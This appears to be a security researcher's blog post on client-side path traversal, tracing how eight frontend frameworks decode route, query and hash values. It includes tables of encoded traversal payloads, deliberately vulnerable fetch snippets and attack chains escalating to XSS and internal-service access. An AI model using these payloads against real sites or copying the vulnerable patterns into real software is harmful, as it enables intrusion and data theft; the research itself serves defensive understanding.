How I mapped the decoding pipelines of 8 frontend frameworks and found that every single one gives attackers traversal primitives


Client Side Path Traversal (CSPT) is my favorite gadget. It’s a client-side attack primitive that lets you bypass frontend route guards and control the location of the api call. It is a great primitive for CSRF. When chained with open redirect or a file upload bug, it can easily lead to XSS. When it works, it feels like magic.

When I first discovered this bug class, I became obsessed with it. I tested for it everywhere I could, even if I didn’t understand the framework or the backend. My testing strategy was to find a path that appeared to be dynamic (like /user/xssdoctor) and add a %2f, %5c, %252f, %255c etc. I would then look at the api calls and see if the encoded slash or backslash was decoded into a path traversal primitive. I would iterate on that with a %2f..%2f or %5c..%5c and so on.

But when it came time to do dynamic analysis and to try to figure out how it really worked, I had trouble. What exactly WAS the CSPT source? How was the dynamic path referenced? Why were the paths SOMETIMES url decoded and other times not?

I got far with this off-the-cuff testing, but I wanted to understand the root cause. So I set out to map the URL decoding pipelines of every major frontend framework. I wanted to see exactly where and how the traversal primitive was being created.

And after spending weeks reading router source code, building lab apps, testing encodings, and cross-referencing GitHub issues across React Router, Next.js, Vue Router, Angular, SvelteKit, Nuxt, Ember, and SolidStart. I can tell you this: the problem is universal, but the exploitation is framework-specific.

Let me walk you through what I found.

Some things to understand

Lets start with the browser. Modern browsers will normalize path traversal payloads. When “https://target.com/path/../second” is entered into the address bar, the browser will resolve the ../ before sending the request to the server. So the request that hits the wire is actually “https://target.com/second”. This is part of the URL specification and it’s not something that frameworks or servers can change. However, URL encoding can be used to bypass this normalization. For example, “https://target.com/path/%2E%2E/second” will be sent to the server as is, and the browser will not resolve the ../ because it’s encoded. Backslash will be normalised to forward slash in the browser. “https://target.com\path” will be normalized to “https://target.com/path” This is NOT the case in query parameters. If you have a URL like “https://target.com/search?q=../admin”, the ../admin is part of the query string and the browser does not normalize it. It will be sent to the server as “https://target.com/search?q=../admin”. This is an important distinction because it means that path traversal payloads can be used in query parameters without worrying about browser normalization, while in the path itself, you need to use encoding tricks to bypass the normalization.

Now let’s talk about frontend frameworks. In multi-page applications, the url path maps directly to a file on the server. So if you have a URL like “https://target.com/admin”, the server will look for a file called “admin.php” or “admin.html” and serve it. In single-page applications (SPAs) built with frontend frameworks, the url path is handled by the frontend router. The router takes the URL from the browser, extracts route parameters, and hands them to developer code.

The backend of these frameworks is often an API. The frontend makes fetch requests to the api and populates the page with the response. The frontend router is responsible for taking the URL, extracting parameters, and then those parameters are often used in API calls. If the router decodes the URL in a way that creates a traversal primitive, then that primitive can be used in the API call.

Client side path traversal occurs when the frontend router uses an element of the path directly and passes it into the fetch request. The question is: when does decoding happen, what gets decoded, and does it ever get re-encoded?

The Sources that we have to focus on are the path itself (/path), the query parameters (/?q=search), and the hash fragment (#section). Each of these can be decoded differently by the framework, and each has different implications for path traversal.

The “sink” is the api request, usually a fetch call. When a path traversal payload is passed into a fetch on the client side, it leads to client side path traversal. When a path traversal payload is passed into a fetch on the server side, it can lead to an even more dangerous scenario of secondary path traversal, potentially allowing access to internal resources.

Encoded path traversal payloads may be normalized on the front or the backend. For example, sending “/path/..%2Fadmin” may be decoded to “/path/../admin” by the frontend router, and then the browser will normalize it to “/admin” before sending the request. Alternatively, the frontend router might pass the encoded value through to the backend, which then decodes it and normalizes it. The exact behavior depends on the framework’s URL decoding pipeline.

So I built lab apps, compiled them, read the minified output, traced the decoding functions, and tested every encoding variant I could think of. Here’s the framework-by-framework breakdown.

Paths

Lets start with the path itself. Specifically, lets think about how these frameworks handle dynamic path segments, like /users/:userId. When you navigate to /users/..%2Fadmin, does userId become ../admin? Does it stay as ..%2Fadmin? Does it become something else entirely?

Frontend Routers

React, vue, angular, ember, and solid are primarily front-end frameworks, so their routers run in the browser. Each use unique pipelines to parse these dynamic paths and allow the developer to reference them later.

React

React Router has the most well-documented decoding pipeline. Paths are handled through the useParams() Function on the client side. Here is the pipeline:

Browser URL (percent-encoded)
    ↓
decodePath()  -- per-segment decodeURIComponent, then re-encodes / back to %2F
    ↓
compilePath() -- builds regex for route matching
    ↓
matchPath()   -- extracts param values
    ↓
useParams()   -- returns fully decoded params

decodePath() at line 863 is explicitly an anti-CSPT defense. It decodes each segment, then re-encodes any slashes that appeared. This prevents %2F from creating new path segments during route matching.

Then matchPath() at line 811 undoes it:

memo[paramName] = (value || "").replace(/%2F/g, "/");

So /users/%2E%2E%2F%2E%2E%2Fadmin would result in "../../admin". In other words, when the developer requests the dynamic path, that path is already url decoded with slashes intact. If they interpolate that into a fetch URL, the traversal lands:

const { userId } = useParams();
fetch(`/api/users/${userId}/profile`);
// Browser sends: GET /admin/profile

React Router also had a documented double-decode bug (Issue #10814). The pipeline ran two separate decode stages, safelyDecodeURI in matchRoutes() then safelyDecodeURIComponent in matchPath(). So %252F would decode to %2F in the first stage, then to / in the second. Double-encoding bypass, built into the framework’s architecture.

They fixed it, sort of. Standardized on safelyDecodeURIComponent throughout. But the current pipeline still double-decodes through a different mechanism: decodePath() runs decodeURIComponent("%252F") producing "%2F", then line 811’s .replace(/%2F/g, "/") converts that to /. Instead of two calls to decodeURIComponent we now have decode plus string replace. Same outcome: %252F becomes / in your params. The fundamental design hasn’t changed. Params are fully decoded before your code sees them, because developers expect useParams() to return human-readable strings, not URL-encoded gibberish.

URL Encoding useParams() Value Exploitable?
hello%2Fworld hello/world YES, slash injected
%2E%2E%2Fapi%2Fadmin ../api/admin YES, full traversal
hello%252Fworld hello/world YES, double decode
hello%00world hello\0world YES, null byte passes through
%C0%AF (overlong UTF-8 /) Route fails to match NO, decodeURIComponent rejects invalid UTF-8
../admin (fullwidth Unicode) ../admin NO, no NFKC normalization

The overlong UTF-8 and Unicode homoglyph bypasses don’t work. decodeURIComponent is strict about UTF-8 validity, and React Router does zero Unicode normalization. But standard percent-encoding, double-encoding, mixed literal-plus-encoded, and null bytes all work fine.

Splat routes (path="files/*") are the most dangerous variant: params["*"] captures across / boundaries with a (.*) regex instead of the ([^\\/]+) used for named params. So ../../admin works with NO encoding tricks at all. The browser will still normalize the URL and resolve the ../, but the traversal primitive is right there in the param value.

Angular

Angular’s URL processing uses SEGMENT_RE = /^[^\/()?;#]+/ to match path segments. This regex treats %2F as three characters (%, 2, F), none of which are in the exclusion set, so %2F stays in a single segment during route matching.

But then decode() runs decodeURIComponent() on each segment AFTER the matching stage, BEFORE the value reaches paramMap. So developers see fully decoded values:

// URL: /users/..%2Fapi%2Fadmin
paramMap.get("userId"); // "../api/admin" (DECODED, slashes are real)

I tested this on Angular 21.2.1 in Chrome. URL /encoding-test/hello%2Fworld gave paramMap.get('testParam') = "hello/world". URL /encoding-test/..%2Fapi%2Fadmin gave "../api/admin".

This makes Angular more exploitable for %2F-based CSPT than React Router or Vue Router for regular dynamic params. In those frameworks, %2F can sometimes break route matching and return a 404. In Angular, the route matches AND the developer gets the decoded slash. The param flows straight through to HttpClient:

ngOnInit() {
  this.route.paramMap.pipe(
    switchMap(params => {
      const userId = params.get('userId');  // "../../admin" (decoded)
      const url = `/api/users/${userId}/profile`;
      return this.http.get(url);
    })
  ).subscribe(data => this.user = data);
}

Angular also has a non-obvious encoding behavior in router.navigate() that creates a differential between direct URL visits and programmatic navigation. When you pass a value containing % to router.navigate(), Angular’s encodeUriSegment() re-encodes it. % becomes %25. So router.navigate(['/path', '..%2Fadmin']) produces /path/..%252Fadmin in the URL bar. The encoding is not idempotent.

This creates a trap. A developer might reason: “I got ../../admin from queryParamMap, I’ll pass it to router.navigate() to redirect the user.” But router.navigate() encodes the value as a path segment, turning ../../admin into ..%2F..%2Fadmin in the URL. The traversal doesn’t happen through navigate. It happens at the HttpClient sink, where the decoded query param is interpolated directly into a fetch URL before any re-encoding occurs. But router.navigate([redirect]) where redirect comes from a decoded queryParamMap does let an attacker control navigation. That’s an open redirect.

The ** wildcard route deserves a note. Unlike React Router’s splat (*), Angular’s wildcard does not capture sub-paths in a named param. Developers must use router.url (which preserves encoding) or manually parse the URL (which usually means calling decodeURIComponent themselves). The wildcard is architecturally safer than React’s splat for CSPT, but manual URL parsing immediately re-introduces the vulnerability.

Vue

Vue Router v4 is the framework I’d prioritize if I’m hunting for CSPT on a target.

Vue Router maintains two views of every URL, and they have opposite encoding:

const route = useRoute();

// URL: /product/..%2f..%2fadmin
route.params.productId; // "../../admin"  (DECODED, slashes are real)
route.path; // "/product/..%2f..%2fadmin"  (ENCODED, raw)

This isn’t a bug. It’s a documented design decision. The Vue Router maintainers confirmed in Issue #2953 that slashes are URL separators and must be encoded, but %2F in params arrives decoded because route.params runs through decodeParams() which applies decodeURIComponent().

There’s also a router.push() encoding asymmetry that creates confusion. With a string path, the input is passed through parseURL() as-is. So router.push('/users/../../admin') navigates with literal ../, and the browser resolves the traversal. But with a params object, Vue auto-encodes via encodeParams(). So router.push({ name: 'user', params: { userId: '../../admin' } }) encodes to /users/..%2F..%2Fadmin, which is safe at the navigation level but still decodes back to ../../admin in route.params.

Catch-all routes (/:pathMatch(.*)*) return an array, but the split behavior is important. Only literal / characters create array splits. If you use %2F, it decodes to / inside a single array element, not as a separator. So /files/..%2F..%2Fadmin gives pathMatch = ["../../admin"] (one element), while /files/../../admin gives pathMatch = ["..","..","admin"] (three elements). Either way, .join('/') produces the same traversal string.

Ember

Ember’s decoding pipeline has a key intermediate step that no other framework uses: normalizePath(). Before route matching, every URL segment runs through this function:

// route-recognizer.es.js:100
function normalizePath(path) {
  return path.split("/").map(normalizeSegment).join("/");
}

function normalizeSegment(segment) {
  if (segment.length < 3 || segment.indexOf("%") === -1) return segment;
  return decodeURIComponent(segment).replace(/%|\//g, encodeURIComponent);
}

This splits on /, applies decodeURIComponent() to each segment, then re-encodes only % and / back. So %2e%2e (encoded dots) becomes .. and stays as ... But %2f (encoded slash) becomes / and gets re-encoded back to %2F. The normalization preserves dots but neutralizes slashes for the purpose of route matching.

Then comes findHandler(), which extracts the matched capture groups. For dynamic :param segments, it applies decodeURIComponent() again. For star *param segments, it skips this final decode. This creates two completely different exploitation profiles:

// route-recognizer.es.js:412
for (var j = 0; j < names.length; j++) {
  var capture = captures[currentCapture++];
  if (RouteRecognizer.ENCODE_AND_DECODE_PATH_SEGMENTS && shouldDecodes[j]) {
    params[name] = capture && decodeURIComponent(capture);
  } else {
    params[name] = capture;
  }
}

shouldDecodes[j] is true for dynamic segments, false for star segments. Two segment types, two decoding behaviors, in the same function.

For dynamic :param routes, here’s the trace. URL /users/..%2fadmin:

1. normalizePath splits on /: ["", "users", "..%2fadmin"]
2. normalizeSegment("..%2fadmin"):
   decodeURIComponent("..%2fadmin") → "../admin"
   re-encode % and /: "../admin" → "..%2Fadmin"
3. Reassembled: "/users/..%2Fadmin"
4. Regex ([^/]+) matches "..%2Fadmin" (no literal slash)
5. findHandler decodes: decodeURIComponent("..%2Fadmin") → "../admin"
6. params.user_id = "../admin"

The traversal payload is delivered. And %2e%2e%2f works identically because normalizePath decodes the dots to .. and the slash gets re-encoded, producing the same ..%2Fadmin intermediate form.

Double-encoding does NOT work in Ember. Here’s why: %252f decodes to %2f during normalization, but then the % in %2f gets re-encoded back to %25 by the .replace(/%|\//g, encodeURIComponent) step, producing %252f again. The segment is back to its original form. findHandler then decodes %252f to %2f — a literal string, not a slash. The normalizePath function’s % re-encoding actually prevents the double-decode attack that works in React Router. This is an accidental defense: the same re-encoding that preserves slashes also preserves the % character, making the normalization idempotent for double-encoded values.

For wildcard *param routes, the picture is different. The regex (.+) captures everything including literal /. So /docs/../../etc/passwd matches and params.doc_path gets "../../etc/passwd" with no encoding tricks needed. But since star segments skip the final decodeURIComponent, %2f in a wildcard stays encoded in the param value. The effective payload for wildcard routes is literal ../, not %2f.

URL Dynamic :param Value Star *param Value Traversal?
..%2f..%2fadmin ../../admin ..%2F..%2Fadmin YES (dynamic), NO (star)
%2e%2e%2f%2e%2e%2fadmin ../../admin ..%2F..%2Fadmin YES (dynamic), NO (star)
%252e%252e%252f %2e%2e%2f %2e%2e%2f NO (normalizePath re-encodes %)
../../etc/passwd N/A (extra segment, no match) ../../etc/passwd NO (dynamic), YES (star)
hello%2Fworld hello/world hello%2Fworld YES (dynamic), NO (star)
%C0%AF (overlong UTF-8 /) Error, raw preserved Error, raw preserved NO
../ (fullwidth) ../ (preserved) ../ (preserved) NO

The overlong UTF-8 and Unicode homoglyph bypasses don’t work. decodeURIComponent rejects invalid UTF-8, and there’s no NFKC normalization anywhere in the pipeline.

SolidStart

SolidStart is the one framework that got this right by accident. Not because the team built anti-CSPT defenses, not because they analyzed the attack surface, but because @solidjs/router simply never calls decodeURIComponent on route params. The router’s createMatcher() stores raw URL segments as-is, and that one missing function call makes it the most resistant framework to encoded path traversal I tested.

The createMatcher() function in @solidjs/router splits location.pathname on / and stores each segment directly into the params object:

// @solidjs/router utils.js:50
return (location) => {
  const locSegments = location.split("/").filter(Boolean);
  for (let i = 0; i < len; i++) {
    const segment = segments[i];
    const dynamic = segment[0] === ":";
    const locSegment = dynamic ? locSegments[i] : locSegments[i].toLowerCase();
    if (dynamic && matchSegment(locSegment, matchFilter(key))) {
      match.params[key] = locSegment; // RAW segment, NO decoding
    }
  }
};

Navigate to /users/..%2f..%2fadmin and params.userId returns "..%2f..%2fadmin". The %2f is still %2f. The dots are still %2e%2e if you encoded them. Nothing has been decoded. If the developer interpolates that into a fetch URL, the browser sends the encoded string to the server, which sees %2f not /. No traversal.

I verified this in Chrome with a SolidStart lab app. /encoding-test/hello%2Fworld gave params.testParam = "hello%2Fworld". /encoding-test/%2E%2E%2Fapi%2Fadmin gave params.testParam = "..%2Fapi%2Fadmin". The dots decoded (browsers decode %2E in the pathname), but the slashes stayed encoded. That’s the critical difference from React Router, where both dots and slashes decode.

There are only two decodeURI/decodeURIComponent calls in the entire @solidjs/router codebase. One is in the <A> component for active link CSS class matching. The other is for scroll-to-hash. Neither is in the routing or param extraction pipeline.

Catch-all routes ([...path]) are the exception. The catch-all captures remaining segments joined with /: locSegments.slice(-lenDiff).join("/"). These slashes are real, they came from the URL path itself. Navigate to /files/a/b/c and params.path = "a/b/c". But here’s the thing: literal ../ in the URL path gets resolved by the browser before JavaScript sees it. /files/../../admin becomes /admin in window.location.pathname. The route won’t even match /files/*path. And encoded ../ (..%2f..%2fadmin) stays encoded in the joined string, so the catch-all gives you "..%2f..%2fadmin" as a single segment, not a traversal.

URL useParams() Value In fetch() URL Traversal?
/users/..%2f..%2fadmin ..%2f..%2fadmin /api/users/..%2f..%2fadmin NO, stays encoded
/users/%2e%2e%2f%2e%2e%2fadmin %2e%2e%2f%2e%2e%2fadmin /api/users/%2e%2e%2f%2e%2e%2fadmin NO, stays encoded
/users/..%252f..%252fadmin ..%252f..%252fadmin /api/users/..%252f..%252fadmin NO, stays encoded
/files/a/b/c (catch-all) a/b/c /api/files/a/b/c NO, normal path
/files/..%2f..%2fadmin (catch-all) ..%2f..%2fadmin /api/files/..%2f..%2fadmin NO, stays encoded
%C0%AF (overlong UTF-8 /) Raw preserved Raw preserved NO

This is a fundamentally different encoding posture than every other framework. React Router, Vue Router, Angular, and Ember all decode params before your code sees them. SolidStart doesn’t.

Hybrid Cases

Nextjs, Nuxt and SvelteKit are hybrid frameworks that run code on both the client and the server. This creates multiple decoding contexts, which can lead to unexpected vulnerabilities if you’re not careful.

Next.js

The first thing to understand about Next.js is that routing starts out on the server. When you navigate to a URL, the server matches it to a page component, runs getServerSideProps() if it exists, and sends the rendered HTML to the client. The client then hydrates that HTML and takes over routing for subsequent navigations. This means initial URL parsing and param extraction happens on the server, not in the browser.

Next.js has two separate routing systems: the App Router and the Pages Router. The App Router is the new system that uses React Server Components and file-based routing. The Pages Router is the older system. Both have their own decoding pipelines, but the App Router is where the interesting behavior lives. More on that later.

Next.js App Router has a function called getParamValue() (in next/dist/shared/lib/router/utils/get-dynamic-param.js) that re-encodes parameters before passing them to page and layout components. If you navigate to /files/thepath%2fbooya, a page component gets thepath%2Fbooya back. The slash is re-encoded. Traversal is neutralized. On the client side, useParams() behaves the same way. Re-encoded, safe.

Nuxt

Nuxt is built on Vue Router, so I expected the client-side behavior to be identical. It is. What makes Nuxt interesting is everything that happens around Vue Router: the server-side H3 layer, the island component system, and the split personality between client and server param decoding.

On the client side, Nuxt inherits Vue Router’s decoding pipeline exactly. useRoute().params values pass through Vue Router’s decodeParams(), which applies decodeURIComponent() to every matched parameter. Navigate to /users/..%2F..%2Fadmin and route.params.id returns "../../admin". The slashes are real. The dots are real. Everything I described in the Vue Router section applies here without modification.

The server side is a different story. Nuxt’s server routes run on H3/Nitro, which has its own param extraction via radix3. The critical function is getRouterParam():

// h3/dist/index.mjs:252
function getRouterParams(event, opts = {}) {
  let params = event.context.params || {};
  if (opts.decode) {
    params = { ...params };
    for (const key in params) {
      params[key] = decode(params[key]);
    }
  }
  return params;
}

getRouterParam(event, 'id') does NOT decode by default. The decode option must be explicitly passed as { decode: true }. Without it, %2F stays as %2F. This is genuinely safer than Vue Router’s client-side behavior, where decoding is unconditional.

But the safety is opt-out fragile. The moment a developer writes getRouterParam(event, 'id', { decode: true }), or manually calls decodeURIComponent() on the raw param, the traversal is live. And H3’s own documentation shows examples with the decode option enabled.

URL Path Segment Client route.params.id Server getRouterParam(event, 'id') Server with { decode: true }
hello%2Fworld hello/world hello%2Fworld hello/world
..%2F..%2Fadmin ../../admin ..%2F..%2Fadmin ../../admin
..%252F..%252Fadmin ..%2F..%2Fadmin ..%252F..%252Fadmin ..%2F..%2Fadmin
%2e%2e%2f%2e%2e%2f ../../ %2e%2e%2f%2e%2e%2f ../../
%00null \x00null %00null \x00null

Catch-all routes (pages/files/[...slug].vue) compile to Vue Router’s (.*) pattern on the client and radix3’s ** wildcard on the server. On the client, catch-all params return an array of decoded segments. /files/..%2Fbooya/kasha gives route.params.slug = ["../booya", "kasha"]. Joining that array with / produces "../booya/kasha". On the server, event.context.params._ or event.context.params.path returns the raw matched path string without decoding.

Svelte

SvelteKit decodes params through a two-stage pipeline, and unlike Next.js, there is no re-encoding before your code sees them. The result is that %2F in a URL path becomes a real / in your params. This makes SvelteKit exploitable from path params, more like React Router and Vue Router than Next.js.

The decoding chain has two stages:

Browser URL (percent-encoded)
    ↓
decode_pathname() -- splits on %25, applies decodeURI() per segment
    ↓
Route regex match -- ([^/]+?) for single params, ([^]*) for catch-all
    ↓
decode_params()   -- applies decodeURIComponent() to each param value
    ↓
params.userId     -- fully decoded, slashes are real

The key is the two-stage decode. decode_pathname() uses decodeURI(), which does NOT decode /, ?, #, &, =, +. So %2F stays as %2F during route matching. The regex ([^/]+?) sees three literal characters %, 2, F, not a slash. The route matches. Then decode_params() runs decodeURIComponent(), and %2F becomes /. By the time the developer’s code sees the param, the slash is real.

Navigate to /users/..%2Fadmin%2Fsecrets, and params.userId returns "../admin/secrets". If the developer interpolates that into a fetch:

// +page.ts (universal load function)
export async function load({ params, fetch }) {
  const res = await fetch(`/api/users/${params.userId}/profile`);
  // fetch URL: /api/users/../admin/secrets/profile
  // Browser resolves: GET /api/admin/secrets/profile
  return { user: await res.json() };
}

This is true CSPT. The traversal happens at the fetch layer, not on the server. On client-side navigation, the browser’s native fetch() resolves the ../ before sending the request. On initial page load (SSR), SvelteKit’s server-side enhanced fetch resolves it internally. Either way, the traversal lands.

The one area where SvelteKit IS genuinely more secure than React Router is double-encoding. decode_pathname() splits on %25 (encoded %) before decoding, which prevents %252F from round-tripping to /. Here’s the trace:

Input: %252F
Split on %25: ["", "2F"]
decodeURI("") → ""
decodeURI("2F") → "2F"
Rejoin with %25: "%252F"
decode_params("%252F") → "%2F"  (string literal, NOT a slash)

React Router’s pipeline converts %252F to / through its decode-then-replace mechanism. SvelteKit’s %25-split was introduced specifically to fix a documented double-decode bug (Issue #3069), where this.parse(url) decoded the URL first, then decodeURIComponent() ran again during param extraction. Fixed in v1.0.0-next.385.

Catch-all routes ([...path]) have a unique quirk in SvelteKit: they return a string, not an array. /files/a/b/c gives params.path = "a/b/c". Vue Router returns ["a", "b", "c"]. The string form means no .join('/') is needed. Traversal sequences work natively when interpolated into fetch URLs.

Query Parameters

Query parameters are a rich cspt attack surface that often gets overlooked. They don’t have the same segment boundary protections as path params, and many frameworks decode them fully before your code sees them. Query params have a bigger attack surface than path params because there’s no segment splitting. The entire value arrives as one decoded string. And since query params don’t trigger browser path normalization, you can use literal ../ without any encoding at all: /dashboard/stats?widget=../../attachments/malicious works just fine. However, encoding may help with waff bypasses or other filters that look for traversal patterns.

React

useSearchParams() returns decoded values. The browser handles the decoding before JavaScript sees the value, so ?widget=..%2F..%2Fattachments%2Fmalicious gives you widget = "../../attachments/malicious". There is no re-encoding, no sanitization, nothing between the decoded value and your code.

Query parameters are actually a bigger attack surface than path params for one reason: there’s no segment boundary. With path params, the router splits on / first, so your payload has to survive inside a single segment. With query params, there’s no splitting at all. The entire value ../../api/internal/users lands as one decoded string, slashes and all. You don’t need any encoding tricks either, because the browser doesn’t normalize ../ in query strings the way it does in paths.

Next.js

useSearchParams() on the client side returns decoded values. Navigate to /dashboard/stats?widget=../../attachments/malicious and searchParams.get("widget") returns "../../attachments/malicious". The slashes are real. The dots are real.

This is the one area where Next.js page components ARE vulnerable to client-side CSPT. The path param re-encoding defense only applies to path params accessed through await params or useParams(). Query params go through the browser’s standard URLSearchParams, which decodes everything. If a developer reads a query param and interpolates it into a fetch URL, the traversal works exactly the same as in React Router.

Vue

route.query is decoded the same way as route.params. Navigate to /dashboard/stats?widget=..%2F..%2Fattachments%2Fmalicious and route.query.widget returns "../../attachments/malicious". The %2F has been decoded to a real slash.

angular

Query parameters are an even bigger CSPT surface in Angular than path params. The router decodes them via decodeQuery(), which replaces + with %20 then calls decodeURIComponent. Query values are matched by /^[^&#]+/. They stop at & or # but NOT at /. So ?path=../../admin flows through without any segment splitting to worry about.

This is significant because path params at least have the segment-matching stage as a gate. Angular splits on literal / first, so your payload has to survive inside a single segment. Query params have no such constraint. The entire value ../../api/internal/users lands in queryParamMap.get('path') as one decoded string, slashes and all.

Svelte

url.searchParams in SvelteKit load functions is standard URLSearchParams, which means it decodes everything. ?widget=..%2Fattachments%2Fmalicious gives you "../attachments/malicious". The %2F has been decoded to a real slash.

On the client side, $page.url.searchParams.get('widget') behaves the same way. Decoded. Slashes are real. No segment boundary constraints. And since query params don’t trigger browser path normalization, literal ../ works without encoding.

Nuxt

useRoute().query on the client side is decoded by Vue Router’s parseQuery(). Navigate to /dashboard/stats?widget=..%2F..%2Fattachments%2Fmalicious and route.query.widget returns "../../attachments/malicious". Same as standalone Vue Router. One quirk: + is NOT converted to a space. Vue Router treats + as a literal character, unlike the standard URLSearchParams behavior.

On the server side, H3’s getQuery(event) uses the ufo library, which does decode query values. So ?widget=..%2Fadmin gives { widget: "../admin" } on both client and server. Query params are decoded everywhere in Nuxt.

Ember

Query parameters in Ember are declared on the route or controller via the queryParams property. They arrive in the model(params) hook alongside path params. Route-recognizer strips the query string before route matching and parses it separately. The values are decoded by the browser’s standard query parsing.

Navigate to /dashboard/stats?period=../../admin and params.period returns "../../admin". The traversal is in the decoded value. Like every other framework, query params have no segment boundary constraint, so the full traversal string lands as one value.

SolidStart

useSearchParams() returns values decoded by the browser’s standard URLSearchParams, which calls decodeURIComponent on every value per spec. Navigate to /dashboard/stats?source=..%2f..%2fadmin and searchParams.source returns "../../admin". The slashes are real.

This is the primary CSPT vector in SolidStart. Path params are safe because the router doesn’t decode them. Query params are decoded because the browser API does it, and the router can’t prevent that. The attack surface shifts entirely from paths to query strings.

Hash

window.location.hash is the simplest source. The browser never encodes or decodes the hash fragment. Whatever you put after the # is exactly what JavaScript sees. Navigate to /dashboard/settings#../../admin/users and window.location.hash.slice(1) gives you "../../admin/users". No encoding tricks needed.

const apiService = {
  get: (path) => fetch(`/api${path}`).then((r) => r.json()),
};

const hash = window.location.hash.slice(1);
apiService.get(hash);
// fetch("/api../../admin/users") → browser resolves to GET /admin/users

The Sink

When we talk about the sink, we’re usually talking about fetch(), but it could be any function that takes a URL or path and makes a request. The key point is that if the decoded value from the URL gets interpolated directly into a fetch URL, the browser will resolve any ../ sequences before sending the request. This is true for both client-side navigation and server-side rendering contexts. If a path traversal payload reaches client-side fetch, this leads to CSPT, if it reaches server-side fetch, it can lead to secondary-context path traversal.

React

The sink in React Router apps is almost always fetch() or a library wrapper around it like Axios. The decoded param gets interpolated into a template literal, and the browser resolves the ../ before sending the request.

The most dangerous combination is when the fetch response flows into dangerouslySetInnerHTML. This turns CSPT into XSS. If the attacker can control what endpoint the fetch hits, and that endpoint returns HTML (like a user-uploaded attachment), then the HTML gets rendered directly into the DOM:

const [params] = useSearchParams();
const widget = params.get("widget");
fetch(`/api/widgets/${widget}`)
  .then((r) => r.text())
  .then(setHtml);

// later in JSX:
<div dangerouslySetInnerHTML= />;

Navigate to /dashboard/stats?widget=../../attachments/malicious and the fetch hits /api/attachments/malicious instead of /api/widgets/.... If that attachment is an HTML file the attacker uploaded, you’ve got stored XSS through CSPT.

The only safe source in React Router is useLocation().pathname, which preserves %2F encoding. Everything else decodes.


Next.js

Unlike getParamValue, await params has split behavior depending on where you call it. Page components, layout components, and useParams() all go through getParamValue(), which re-encodes. Route handlers skip that function entirely. In a route handler, await params receives decoded values directly from getRouteMatcher(), which does match.split('/').map(decode). The framework uses the same API in both contexts but applies completely different encoding behavior under the hood. The same API name, two opposite behaviors.

Context %2F in URL What await params returns CSPT?
Page server component /files/a%2Fb ["a%2Fb"] (re-encoded) Safe
Route handler /api/content/a%2Fb ["a", "b"] (decoded to /) Exploitable
useParams() (client) /files/a%2Fb "a%2Fb" (re-encoded) Safe

Why does this matter? Because the common Next.js pattern is a page component that reads params and passes them to a client component, which fetches to a route handler. The page component does nothing wrong. It doesn’t decode anything. But the re-encoded %2F in the fetch URL gets sent to the route handler, and the route handler’s await params decodes it automatically before the developer’s code ever touches it. The developer never opted into decoding. It’s just how route handler param parsing works.

Here’s the attack chain:

1. Attacker navigates to:
   /cspt-await-params/docs/getting-started/..%2F..%2Finternal%2Fcredentials

2. Page server component reads await params:
   path = ["docs", "getting-started", "..%2F..%2Finternal%2Fcredentials"]
   // Re-encoded. %2F stays %2F, safe at this layer

3. Page joins and passes to client component:
   filePath = "docs/getting-started/..%2F..%2Finternal%2Fcredentials"

4. Client component fetches:
   fetch(`/api/content/${filePath}`)
   // Browser sends: GET /api/content/docs/getting-started/..%2F..%2Finternal%2Fcredentials

5. Route handler reads await params:
   path = ["docs", "getting-started", "..", "..", "internal", "credentials"]
   // DECODED. %2F became / and split into separate array elements

6. Route handler joins:
   path.join("/") → "docs/getting-started/../../internal/credentials"
   // Path traversal is now live

This is not client side path traversal. This is secondary context path traversal. The encoded path is sent to the server, which decodes it and passes the decoded value into a backend fetch. This is potentially more impactful because the server often has access to internal resources that the client does not. If the route handler is fetching from an internal API or reading from the filesystem, the traversal primitive could reach sensitive data.

// app/api/content/[...path]/route.ts
export async function GET(request, { params }) {
  const { path } = await params;
  // path is ALREADY decoded: ["docs", "getting-started", "..", "..", "internal", "credentials"]
  const fullPath = path.join("/");
  // "docs/getting-started/../../internal/credentials"
  return fetch(`https://backend.internal/${fullPath}`);
}

Vue Router

The result is the most exploitable param-to-fetch pipeline of any framework:

const route = useRoute();
const { data } = useFetch("/api/products/" + route.params.productId);
// fetch goes to /api/products/../../admin → /api/admin

The most dangerous pattern is when the fetched response flows into v-html, which is Vue’s equivalent of React’s dangerouslySetInnerHTML. This turns CSPT into XSS:

// query param decoded: widget = "../../attachments/malicious"
const url = `/api/widgets/${widget}`;
const res = await fetch(url);
const data = await res.json();
// v-html renders data.body directly into the DOM

Navigate to /dashboard/stats?widget=..%2F..%2Fattachments%2Fmalicious and the fetch hits /api/attachments/malicious instead of /api/widgets/.... If the attacker uploaded an HTML file as an attachment, v-html renders it and the script executes.

The only safe sources in Vue Router are route.path and route.fullPath, which preserve %2F encoding. Everything else decodes.


Angular

The sink in Angular apps is HttpClient.get() (or .post(), .put(), etc.). The decoded param gets interpolated into the URL string, and the browser resolves the ../ before sending the request.

The most dangerous combination is when the HttpClient response flows into [innerHTML] with bypassSecurityTrustHtml(). Angular sanitizes [innerHTML] by default, but bypassSecurityTrustHtml() explicitly disables that protection. This is Angular’s equivalent of React’s dangerouslySetInnerHTML, and it turns CSPT into XSS the same way.

Source Decoded? Sink Risk
paramMap.get() YES, decode() calls decodeURIComponent HttpClient.get(url) High
paramMap.pipe(switchMap(...)) YES, same decode, Observable pattern HttpClient.get(url) High
queryParamMap.get() YES, decodeQuery() decodes HttpClient.get(url) High
queryParamMap.get() YES router.navigate([value]) High (open redirect)
snapshot.paramMap.get() YES, same decode pipeline HttpClient.get(url) High
Route Resolver paramMap YES, decoded before resolver runs HttpClient.get(url) High
queryParamMap.get() YES HttpClient + bypassSecurityTrustHtml + [innerHTML] Critical
router.url NO, preserves %2F encoding any Safe

The only safe Angular source for URL-derived values is router.url.


SvelteKit

On client-side navigation, the browser’s native fetch() resolves the ../ before sending the request. On initial page load (SSR), SvelteKit’s server-side enhanced fetch resolves it internally. Either way, the traversal lands.

But the real escalation in SvelteKit is +page.server.ts. Server-only load functions execute with internal network access and can reach services the client cannot:

// src/routes/data/[dataId]/+page.server.ts
export const load = async ({ params }) => {
  const dataId = params.dataId; // decoded, traversal payload arrives here
  const doc = await fetch(`http://internal-service.local/data/${dataId}`);
  return { data: await doc.json() };
};

This is secondary context path traversal, analogous to Next.js route handlers. The fetch goes directly to the internal service. It does NOT pass through hooks.server.ts. So even if you have auth middleware in your hooks, a traversal from a server load function bypasses it entirely.

The most dangerous client-side combination is when the fetch response flows into {@html}, which is SvelteKit’s equivalent of dangerouslySetInnerHTML. CSPT plus {@html} equals XSS, same as in React and Vue.

Source Decoded? Context Risk
params in +page.ts (client nav) YES, decode_params() Client-side fetch CSPT, %2F decoded to /
